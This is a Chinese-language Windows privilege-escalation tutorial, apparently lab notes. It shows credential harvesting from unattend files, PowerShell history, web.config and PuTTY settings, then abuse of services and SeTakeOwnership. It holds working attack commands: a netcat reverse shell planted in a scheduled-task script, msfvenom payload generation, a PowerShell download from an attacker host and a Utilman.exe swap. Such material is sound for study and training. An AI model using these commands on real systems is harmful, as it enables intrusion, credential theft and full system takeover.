权限提升
特权升级包括使用“用户 A”对主机的给定访问权限,并利用它通过滥用目标系统中的弱点来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在实际获得管理权限之前,我们可能需要升级到其他非特权帐户,根据情况,我们可能需要利用以下一些弱点:
- Windows 服务或计划任务配置错误
- 分配给我们帐户的过多权限
- 易受攻击的软件
- 缺少 Windows 安全补丁
Windows用户
Windows系统主要 有 两类用户,可以将这些用户用归类为以下组之一:任何具有管理权限的用户都将成为Administrators组的一部分。另一方面,标准用户是用户组的一部分。
Administrators 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
Standard Users 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或必要的更改,并且仅限于他们的文件。
除此之外,我们通常会听到操作系统在特权升级上下文中使用的一些特殊内置帐户:
- SYSTEM / LocalSystem: 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,甚至比管理员拥有更高的权限。
- Local Service:用于以“最低”权限运行 Windows 服务的默认帐户。它将通过网络使用匿名连接。
- Network Service:用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。
凭据收集
无人值守的 Windows 安装
在大量主机上安装 Windows 时,管理员可能会使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,这些设置最终可能会存储在计算机中的以下位置:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,可能会遇到这些凭据:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
Powershell History
每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。
其中%userprofile%为cmd.exe的环境变量,$Env:userprofile为powershell的环境变量
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
IIS 配置
Internet Information Services (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上的网站配置存储在一个名为的文件中web.config,
可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
这是在文件中查找数据库连接字符串的快速方法:
type C:\Windows\xxxx\web.config | findstr connectionString
从软件中收集凭据
任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。这里以PuTTY为例子
PuTTY 是 Windows 系统上常见的 SSH 客户端。但它会存储包括明文身份验证凭据的代理配置。
要检索存储的代理凭据,使用以下命令在以下注册表项下搜索 ProxyPassword:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
滥用服务配置错误
在某些情况下甚至可以获得管理员访问权限,如果您认为这些更多地属于 CTF 事件领域而不是您在实际渗透测试过程中会遇到的场景,那将会有所帮助。
计划任务
查看全部计划任务,以视图模式
schtasks /query /fo LIST /v
过滤存在有漏洞的计划任务
schtasks /query /fo list /v|findstr vulntask
指定vulntask任务 查询详细信息
schtasks /query /tn vulntask /fo list /v
在这里我们发现了有一个定时任务的脚本,运行所有者是:taskusr1
查看一下这个文件的权限
icacls C:\tasks\schtask.bat
可以看见普通用户具有所有权
修改脚本内容改为恶意的反向shell
echo C:\tools\nc64.exe -e cmd.exe 10.14.55.65 4444 > C:\tasks\schtask.bat
这时候攻击机监听4444端口
当有权限的时候,可以直接运行任务。如果权限不足,就只能等待任务运行了
schtasks /run /tn vulntask
可以看见任务运行成功
这时候返回攻击机,可以看见4444端口接收到了一个为wprivesc1\taskusr1的权限
服务可执行文件的不安全权限
显示每个进程中的服务信息
tasklist /svc
我们查看一下这个服务名的详细信息
sc qc WindowsScheduler
执行该文件的用户为svcusr1,该服务关联的可执行文件位于 C:\Progra2\System1\WService.exe
漏洞成因
- 检查可执行文件的权限
icacls C:\Progra~2\System~1\WService.exe
可以看见普通用户拥有,可读可写的权限。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着可以将恶意payload进行替换
- 使用MSF生成一个为Windows服务的恶意文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.14.55.65 -f exe-service -o a.exe
然后开启http服务
python3 -m http.server
返回受害者界面,下载恶意文件
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/a.exe','a.exe')"
这时候修改文件名,将恶意文件替换
move C:\Progra~2\System~1\WService.exe C:\Progra~2\System~1\WService.bkp
move a.exe C:\Progra~2\System~1\WService.exe
最后修改恶意文件的Everyone为完全权限
icacls C:\Progra~2\System~1\WService.exe /grant Everyone:F
最后重新运行服务
sc stop 服务名
sc start 服务名
最后返回MSF监听器,可以看见成功拿到了该服务所有者的权限
未引用的服务路径
原理
使用 Windows 服务时,当服务配置为没有正确使用引号引起空格的时候,会发生一些这种情况
C:\Wdinwows\hh hh\a.exe //本来要执行的文件
C:\Windows\hh.exe //攻击者创建的恶意文件,将会被Windows服务当作要执行的文件执行
演示
我们可以看这个例子
sc qc Disk Sorter Enterprise
sc qc "Disk Sorter Enterprise"
一个是我们不想找的例子,但是居然查询到了服务,另一个是我们本次案例的例子,使用了双引号才查询到了带有空格的服务路径。
查看该服务执行文件下的路径,查看是否具有创建文件的权限
icacls C:\MyPrograms\
可以看见普通用户拥有创建文件的权限
攻击机监听端口
这时候下载之前,已经生成好的MSF的有效payload
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/a.exe','a.exe')"
修改文件名
move a.exe C:\MyPrograms\Disk.exe
授权Everyone对该文件拥有完全权限
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
这时候我们重新启动服务
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
成功拿到该执行文件所有者的权限了
不安全的服务权限
使用微软自带的工具查看服务的权限
https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
查看 thmservice 服务的权限
accesschk64.exe -qlc thmservice
当普通用户权限为SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS时,这意味着任何用户都可以重新配置该服务。
让我们查看一下该服务的详细信息
sc qc thmservice
由于我们具有重新配置该服务的权限,也意味着可以通过修改二进制路径为恶意的payload时,将会触发漏洞
>sc config THMService binpath="C:\tools\AccessChk\a.exe" obj=LocalSystem
最后重新启动服务,
可以看见MSF成功接受到shell,且权限为System
滥用危险权限
SeTakeOwnership
SeTakeOwnership 权限允许用户取得系统上任何对象的所有权,包括文件和注册表项,为攻击者提升权限提供了许多可能性。
漏洞成因
这里以System权限打开
查看该用户所拥有的权限
whoami /priv
utilman.exe是我们将滥用权限升级的目标。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
由于 Utilman 以 SYSTEM 权限运行,如果我们将原始二进制文件替换为我们喜欢的任何 payload,将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它是微不足道的。
要替换 utilman,我们将首先使用以下命令获取它的所有权:
takeown /f C:\Windows\System32\Utilman.exe
可以发现该用户是文件的所有者,作为文件的所有者并不一定意味着拥有文件的特权,但是我们作为该文件的所有者可以为自己分配所需的任何特权
然后使用以下命令对该用户分配所有权
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
最后使用cmd.exe的副本 替换Utilman.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
当我们锁定用户的时候
点击轻松访问,可以看见我们获得一个新的会话,权限为system
滥用软件存在的漏洞
收集的有关已安装软件的信息
wmic product get name,version,vendor